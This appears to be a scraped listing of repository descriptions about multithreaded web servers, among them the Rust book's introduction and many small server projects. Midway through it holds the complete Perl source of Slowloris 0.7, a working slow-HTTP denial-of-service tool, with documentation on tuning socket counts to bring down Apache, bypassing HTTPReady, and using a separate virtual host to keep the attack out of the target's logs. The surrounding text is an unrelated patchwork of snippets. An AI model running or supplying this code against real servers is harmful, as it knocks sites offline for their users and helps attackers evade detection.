AOLserver is America Online's Open-Source web server. AOLserver is the backbone of the largest and busiest production environments in the world. AOLserver is a multithreaded, Tcl-enabled web server used for large scale, dynamic web sites.

NaviServer is a scalable, multithreaded web server / multi-protocol server written in C and Tcl. It can be easily extended in either language to create interesting web sites and services.

A unique, multithreaded Slow DoS exploit against web servers that use vulnerable versions of thread-based web server software (Apache 1.x, Apache 2.x, httpd, etc.); and is effective against even some mitigation mechanisms such as poorly implemented reverse proxy servers.

No description available

A Vert.x-powered asynchronous multithreaded web server with simple annotation-based configuration of routes

Introduction Note: This edition of the book is the same as The Rust Programming Language available in print and ebook format from No Starch Press. Welcome to The Rust Programming Language, an introductory book about Rust. The Rust programming language helps you write faster, more reliable software. High-level ergonomics and low-level control are often at odds in programming language design; Rust challenges that conflict. Through balancing powerful technical capacity and a great developer experience, Rust gives you the option to control low-level details (such as memory usage) without all the hassle traditionally associated with such control. Who Rust Is For Rust is ideal for many people for a variety of reasons. Let’s look at a few of the most important groups. Teams of Developers Rust is proving to be a productive tool for collaborating among large teams of developers with varying levels of systems programming knowledge. Low-level code is prone to a variety of subtle bugs, which in most other languages can be caught only through extensive testing and careful code review by experienced developers. In Rust, the compiler plays a gatekeeper role by refusing to compile code with these elusive bugs, including concurrency bugs. By working alongside the compiler, the team can spend their time focusing on the program’s logic rather than chasing down bugs. Rust also brings contemporary developer tools to the systems programming world: Cargo, the included dependency manager and build tool, makes adding, compiling, and managing dependencies painless and consistent across the Rust ecosystem. Rustfmt ensures a consistent coding style across developers. The Rust Language Server powers Integrated Development Environment (IDE) integration for code completion and inline error messages. By using these and other tools in the Rust ecosystem, developers can be productive while writing systems-level code. Students Rust is for students and those who are interested in learning about systems concepts. Using Rust, many people have learned about topics like operating systems development. The community is very welcoming and happy to answer student questions. Through efforts such as this book, the Rust teams want to make systems concepts more accessible to more people, especially those new to programming. Companies Hundreds of companies, large and small, use Rust in production for a variety of tasks. Those tasks include command line tools, web services, DevOps tooling, embedded devices, audio and video analysis and transcoding, cryptocurrencies, bioinformatics, search engines, Internet of Things applications, machine learning, and even major parts of the Firefox web browser. Open Source Developers Rust is for people who want to build the Rust programming language, community, developer tools, and libraries. We’d love to have you contribute to the Rust language. People Who Value Speed and Stability Rust is for people who crave speed and stability in a language. By speed, we mean the speed of the programs that you can create with Rust and the speed at which Rust lets you write them. The Rust compiler’s checks ensure stability through feature additions and refactoring. This is in contrast to the brittle legacy code in languages without these checks, which developers are often afraid to modify. By striving for zero-cost abstractions, higher-level features that compile to lower-level code as fast as code written manually, Rust endeavors to make safe code be fast code as well. The Rust language hopes to support many other users as well; those mentioned here are merely some of the biggest stakeholders. Overall, Rust’s greatest ambition is to eliminate the trade-offs that programmers have accepted for decades by providing safety and productivity, speed and ergonomics. Give Rust a try and see if its choices work for you. Who This Book Is For This book assumes that you’ve written code in another programming language but doesn’t make any assumptions about which one. We’ve tried to make the material broadly accessible to those from a wide variety of programming backgrounds. We don’t spend a lot of time talking about what programming is or how to think about it. If you’re entirely new to programming, you would be better served by reading a book that specifically provides an introduction to programming. How to Use This Book In general, this book assumes that you’re reading it in sequence from front to back. Later chapters build on concepts in earlier chapters, and earlier chapters might not delve into details on a topic; we typically revisit the topic in a later chapter. You’ll find two kinds of chapters in this book: concept chapters and project chapters. In concept chapters, you’ll learn about an aspect of Rust. In project chapters, we’ll build small programs together, applying what you’ve learned so far. Chapters 2, 12, and 20 are project chapters; the rest are concept chapters. Chapter 1 explains how to install Rust, how to write a Hello, world! program, and how to use Cargo, Rust’s package manager and build tool. Chapter 2 is a hands-on introduction to the Rust language. Here we cover concepts at a high level, and later chapters will provide additional detail. If you want to get your hands dirty right away, Chapter 2 is the place for that. At first, you might even want to skip Chapter 3, which covers Rust features similar to those of other programming languages, and head straight to Chapter 4 to learn about Rust’s ownership system. However, if you’re a particularly meticulous learner who prefers to learn every detail before moving on to the next, you might want to skip Chapter 2 and go straight to Chapter 3, returning to Chapter 2 when you’d like to work on a project applying the details you’ve learned. Chapter 5 discusses structs and methods, and Chapter 6 covers enums, match expressions, and the if let control flow construct. You’ll use structs and enums to make custom types in Rust. In Chapter 7, you’ll learn about Rust’s module system and about privacy rules for organizing your code and its public Application Programming Interface (API). Chapter 8 discusses some common collection data structures that the standard library provides, such as vectors, strings, and hash maps. Chapter 9 explores Rust’s error-handling philosophy and techniques. Chapter 10 digs into generics, traits, and lifetimes, which give you the power to define code that applies to multiple types. Chapter 11 is all about testing, which even with Rust’s safety guarantees is necessary to ensure your program’s logic is correct. In Chapter 12, we’ll build our own implementation of a subset of functionality from the grep command line tool that searches for text within files. For this, we’ll use many of the concepts we discussed in the previous chapters. Chapter 13 explores closures and iterators: features of Rust that come from functional programming languages. In Chapter 14, we’ll examine Cargo in more depth and talk about best practices for sharing your libraries with others. Chapter 15 discusses smart pointers that the standard library provides and the traits that enable their functionality. In Chapter 16, we’ll walk through different models of concurrent programming and talk about how Rust helps you to program in multiple threads fearlessly. Chapter 17 looks at how Rust idioms compare to object-oriented programming principles you might be familiar with. Chapter 18 is a reference on patterns and pattern matching, which are powerful ways of expressing ideas throughout Rust programs. Chapter 19 contains a smorgasbord of advanced topics of interest, including unsafe Rust, macros, and more about lifetimes, traits, types, functions, and closures. In Chapter 20, we’ll complete a project in which we’ll implement a low-level multithreaded web server! Finally, some appendixes contain useful information about the language in a more reference-like format. Appendix A covers Rust’s keywords, Appendix B covers Rust’s operators and symbols, Appendix C covers derivable traits provided by the standard library, Appendix D covers some useful development tools, and Appendix E explains Rust editions. There is no wrong way to read this book: if you want to skip ahead, go for it! You might have to jump back to earlier chapters if you experience any confusion. But do whatever works for you. An important part of the process of learning Rust is learning how to read the error messages the compiler displays: these will guide you toward working code. As such, we’ll provide many examples that don’t compile along with the error message the compiler will show you in each situation. Know that if you enter and run a random example, it may not compile! Make sure you read the surrounding text to see whether the example you’re trying to run is meant to error. Ferris will also help you distinguish code that isn’t meant to work:

MultiThreaded Web Server in C++

Multithreaded Web Server using C

A multithreaded web server written in C++ (using Qt)

WebDirScan is a tool for brute-forcing URIs (directories and files) on web servers by taking input directory to scan for files & directories recursively. It's written in Go and it's capable of multithreaded scanning.

Lightweight Multithreaded PowerShell Web Server

EksaServer adalah server web Ruby asinkron berperforma tinggi yang dirancang untuk keandalan dan kecepatan. Dibangun di atas nio4r, server ini mampu menangani ribuan koneksi secara efisien melalui model multithreading dan multiprocess (cluster mode).

A demo for a multithreaded, click-to-run Powershell web server with a web frontend for Powershell tasks.

Concurrent web server using producer-consumer problem with different scheduling policies - Shortest File First, Shortest File Name First, First in First Out, and security.

Multithreaded, WSGI-compatible web server with zero dependencies.

A multithreaded java HTTP web server allowing file uploads and downloads to/from multiple clients.

Multithreading web scraping with real-time-changing proxy-servers

A robust multithreaded TCP web server in Java that efficiently manages multiple client connections with personalized responses.

Lightweight multithreaded web server in Rust

Very simple web server app backend with multithreading :3

Multithreading in Java is a powerful feature that allows multiple threads (lightweight sub-processes) to run concurrently, enabling efficient utilization of CPU resources. It is commonly used in real-time, interactive, and high-performance applications such as web servers, games, and data processing systems.

A multithreaded HTTPS server written in C using POSIX sockets and OpenSSL, built for Linux. It supports URI-based routing, serves static and dynamic content from a Next.js portfolio, and handles concurrent requests using a thread-per-connection model. Designed to be lightweight, secure, and fast for low-level systems and web integration.

#!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc:::: CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc::: CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc:: CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc:::: CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc: ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO OOOOO888\@8\@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO COOO888\@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC coooCCO8\@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC :ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC .:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC ....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo .......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc ...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co .............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo ..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC . . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco . .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc . . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } use Data::Dumper; warn Dumper \$host; unless ($host) { print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; print "\n\tType 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) { $port = 80; print "Defaulting to port 80.\n"; } unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tWorked.\n"; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print "\tFailed after $times[$i] seconds.\n"; } } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris =head1 VERSION Version 0.7 Beta =head1 DATE 06/17/2009 =head1 AUTHOR RSnake <h@ckers.org> with threading from John Kinsella =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...? =head1 DESCRIPTION Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well. As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood. =head2 Testing If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing: =head3 Testing Example: ./slowloris.pl -dns www.example.com -port 80 -test This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing). =head2 HTTP DoS Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it's successful or not though. =head3 HTTP DoS Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 =head2 HTTPReady Bypass HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch. =head3 HTTPReady Bypass Example ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready =head2 Stealth Host DoS If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately. =head3 Stealth Host DoS Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com =head2 HTTPS DoS Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary. =head3 HTTPS DoS Example: ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https =head2 HTTP Cache Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary. =head3 HTTP Cache Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache =head1 Issues Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested. Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture. For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD. Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too. =head1 What is a slow loris? What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out:

Multithreaded Web Server made in java

Boilerplate code for rust hyper web server. Implements http/https/ws/wss single and multithreaded server with toml config.

No description available

Multithreaded web server in pure C++

A simple multithreaded web server implemented in pure Rust, following the final project from The Rust Programming Language book.

A simple yet powerful object oriented way to create API methods that can be called with JSON REST URLs or through standard HTML5 WEB SOCKET or through HTTP POST requests

Cloud-based web application using Amazon Web Services, which focuses on automated monitoring for restaurants focusing on minimal human intervention using parallel processing and multithreading. Technologies used: AWS, Java, Python, CSS, JSP, Servlets, MYSQL, HTML, Tomcat Server, Rest API using Jersey, Raspberry Pi In this project I did set up an automated restaurant to reduce human management to a minimum to zero. Its a restaurant application which is ready to manage with a huge number of takeaway orders by autoscaling and Load balancing its compute capacity to match the food orders received. Further automatically clicking pictures at the restaurant at specific intervals for the sake of surveillance by encoding and encryption using multiple algorithms and sending them to the cloud database. Further setup of customer feedback portal where customers can share their food experience/complaints with the management by writing a review which will be saved in the database. The complete setup I placed it in the cloud and support assisted from AWS for Launching the setup where Autoscaling, security, and data stored in the database play key role.